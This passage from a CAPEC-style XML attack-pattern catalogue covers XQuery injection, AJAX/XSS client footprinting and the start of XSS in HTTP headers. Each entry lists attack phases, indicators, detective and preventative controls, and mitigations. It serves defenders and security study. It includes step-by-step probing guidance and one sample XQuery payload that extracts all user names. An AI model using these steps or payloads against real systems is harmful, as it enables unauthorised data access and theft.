				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never Use Input as Part of a Directive to any Internal Component</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Handle All Errors Safely</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>CWE - XML Injection</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Improper Error Handling</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B Chhaya</Submitter>
						<Submission_Date>2007-01-30</Submission_Date>
						<Submission_Comment>Second Draft</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Malik Hamro</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-27</Modification_Date>
						<Modification_Comment>Reformat to new schema and
							review</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="84" Name="XQuery Injection" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack utilizes XQuery to probe and attack server systems; in a
						similar manner that SQL Injection allows an attacker to exploit SQL calls to
						RDBMS, XQuery Injection uses improperly validated data that is passed to
						XQuery commands to traverse and execute commands that the XQuery routines
						have access to. XQuery injection can be used to enumerate elements on the
						victim's environment, inject commands to the local host, or execute queries
						to remote files and data sources.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the application for
											user-controllable inputs</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												follows all public links and actions on a web site.
												He records all the links, the forms, the resources
												accessed and all other potential entry-points for
												the web application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links and analyze the web pages to find entry
												points. Make special note of any links that
												include parameters in the URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all user input
												entry points visited during a manual traversal of
												the web application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browsers' plugins are available to facilitate the
												analysis or automate the discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Inputs are used by the application or the
												browser (DOM)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear to be used on the
												current page. Even though none appear, the web
												application may still use them if they are
												provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding parameters (POST, GET, COOKIE, etc.)
												is created by the attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>A list of application user
												interface entry fields is created by the
												attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>A list of resources accessed by
												the application is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine user-controllable input
											susceptible to injection</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine the user-controllable input susceptible
												to injection. For each user-controllable input that
												the attacker suspects is vulnerable to XQL
												injection, attempt to inject characters that have
												special meaning in XQL. The goal is to create an XQL
												query with an invalid syntax.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use web browser to inject input through text
												fields or through HTTP GET parameters.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a web application debugging tool such as
												Tamper Data, TamperIE, WebScarab,etc. to modify
												HTTP POST parameters, hidden fields, non-freeform
												fields, etc.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use XML files to inject input.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Web
												env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Use network-level packet injection tools
												such as netcat to inject input</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Web
												env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="5">
												<Attack_Step_Technique_Description>
												<Text>Use modified client (modified by reverse
												engineering) to inject input.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Negative">
												<Indicator_Description>
												<Text>Attacker receives normal response from
												server.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Attacker receives an error message from
												server indicating that there was a problem with
												the XQL query.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Server sends a specific error message that
												indicates programmatic parsing of the input data
												(e.g. NumberFormatException)</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one user-controllable
												input susceptible to injection
												found.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No user-controllable input
												susceptible to injection
												found.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Search for and alert
												on unexpected XQL keywords in application
												logs.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Input validation of
												user-controlled data before including it in an XQL
												query</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Information
											Disclosure</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker crafts and injects an XQuery payload
												which is acted on by an XQL query leading to
												inappropriate disclosure of information.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Leveraging one of the vulnerable inputs
												identified during the Experiment phase, inject
												malicious XQuery payload. The payload aims to get
												information on the structure of the underlying XML
												database and/or the content in it.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets information
												from the XML database.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for suspicious XQuery
												requests.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Use appropriate input
												validation to filter XQL syntax in
												user-controllable
												inputs.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Do not use
												user-controllable input as part of XQL
												queries.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Manipulate the data in the XML
											database</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker crafts and injects an XQuery payload
												which is acted on by an XQL query leading to
												modification of application data.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Leveraging one of the vulnerable inputs
												identified during the Experiment phase, inject
												malicious XQuery payload.. The payload tries to
												insert or replace data in the XML database.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the XQuery
												engine to insert or modify data in the database.
												This is mainly used to either insert wrong data or
												to insert persistent attack payloads (XSS for
												instance) that will be sent to other users'
												browser.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for consecutive suspicious request to the XML
												database.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Use appropriate input
												validation to filter XQL syntax in
												user-controllable
												inputs.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Do not use
												user-controllable input as part of XQL
												queries.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The XQL must execute unvalidated data</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>An attacker can pass XQuery expressions embedded in otherwise standard
							XML documents. Like SQL injection attacks, the attacker tunnels through
							the applicaiton entry point to target the resource access layer. The
							string below is an example of an attacker accessing the accounts.xml to
							request the service provider send all user names back.</Text>
						<Block>
							<Code>doc(accounts.xml)//user[Name='*']</Code>
						</Block>
						<Text>The attacks that are possible through Xquery are difficult to predict,
							if the data is not validated prior to executing the XQL.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Basic understanding of XQuery</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Perform input white list validation on all XML input</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Run xml parsing and query infrastructure with minimal
						privileges so that an attacker is limited in their ability to probe other
						system resources from xql.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>XML-capable system interfaces</Text>
			</Injection_Vector>
			<Payload>
				<Text>XQuery syntax</Text>
			</Payload>
			<Activation_Zone>
				<Text>XQL commands</Text>
			</Activation_Zone>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>250<!--XML Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>379<!--WASC Threat Classification 2.0 - WASC-46 - XQuery Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Gunnar Peterson</Submitter>
						<Submission_Date>2007-02-28</Submission_Date>
						<Submission_Comment/>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="85" Name="Client Network Footprinting (using AJAX/XSS)"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack utilizes the frequent client-server roundtrips in Ajax
						conversation to scan a system. While Ajax does not open up new
						vulnerabilities per se, it does optimize them from an attacker point of
						view. In many XSS attacks the attacker must get a "hole in one" and
						successfully exploit the vulnerability on the victim side the first time,
						once the client is redirected the attacker has many chances to engage in
						follow on probes, but their is only one first chance. In a widely used web
						application this is not a major problem because 1 in a 1,000 is good enough
						in a widely used application.</Text>
					<Text>A common first step for an attacker is to footprint the environment to
						understand what attacks will work. Since footprinting relies on enumeration,
						the conversational pattern of rapid, multiple requests and responses that
						are typical in Ajax applications enable an attacker to look for many
						vulnerabilities, well known ports, network locations and so on.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The user must allow Javscript to execute in their browser</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Footprinting can be executed over almost any protocol including HTTP,
							TCP, UDP, and ICMP, with the general goal of gaining further information
							about a host environment to launch further attacks. By appending a
							malicious script to an otherwise normal looking URL, the attacker can
							probe the sysem for banners, vulnerabilities, filenames, available
							services, and in short anything the host process has access to. The
							results of the probe are either used to execute additional javascript
							(for example, if the attacker's footprint script identifies a
							vulnerability in a firewall permission, then the client side script
							executes a javascript to change client firewall settings, or an attacker
							may simply echo the results of the scan back out to a remote host for
							targeting future attacks).</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To land and launch a script on victim's machine with appropriate
							footprinting logic for enumerating services and vulnerabilities in
							Javascript</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use browser technologies that do not allow client side
						scripting.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Utilize strict type, character, and encoding enforcement</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all content that is delivered to client is
						sanitized against an acceptable content specification.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform output validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Disable scripting languages such as Javascript in
						browser</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Patching software. There are many attack vectors for XSS
						on the client side and the server side. Many vulnerabilities are fixed in
						service packs for browser, web servers, and plug in technologies, staying
						current on patch release that deal with XSS countermeasures mitigates
						this.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Payload delivered through standard communication protocols, such as Ajax
					application.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Command(s) executed directly on host</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute probes against client system.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>113<!--Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>348<!--Use of Less Trusted Source--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>96<!--Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>116<!--Improper Encoding or Escaping of Output--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>184<!--Incomplete Blacklist--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>86<!--Improper Neutralization of Invalid Characters in Identifiers in Web Pages--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>712<!--OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>692<!--Incomplete Blacklist to Cross-Site Scripting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>169<!--Footprinting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>AJAX</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>Shreeraj Shah, "Ajax footprinting for Web 2.0 applications",
							http://www.net-security.org/dl/articles/Ajax_fingerprinting.pdf</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Gunnar Peterson</Submitter>
						<Submission_Date>2007-02-28</Submission_Date>
						<Submission_Comment/>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="86" Name="Embedding Script (XSS ) in HTTP Headers"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attack of this type exploits web applications that generate web
						content, such as links in a HTML page, based on unvalidated or improperly
						validated data submitted by other actors. XSS in HTTP Headers attacks target
						the HTTP headers which are hidden from most users and may not be validated
						by web applications.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Spider</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												follows all public links on a web site. He records
												all the entry points (input) that becomes part of
												generated HTTP header (not only GET/POST/COOKIE, but
												also Content-Type, etc.)</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links and analyze the web pages to find entry
												points. Make special note of any links that
												include parameters used in the HTTP
												headers.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Look for HTML meta tags that could be
												injectable</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of the web
												application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browsers' plugins are available to facilitate the
												analysis or automate the discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Web content is generated by the application
												and served to the browser based on
												user-controllable inputs.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>HTTP header variables are used by the
												application or the browser (DOM)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
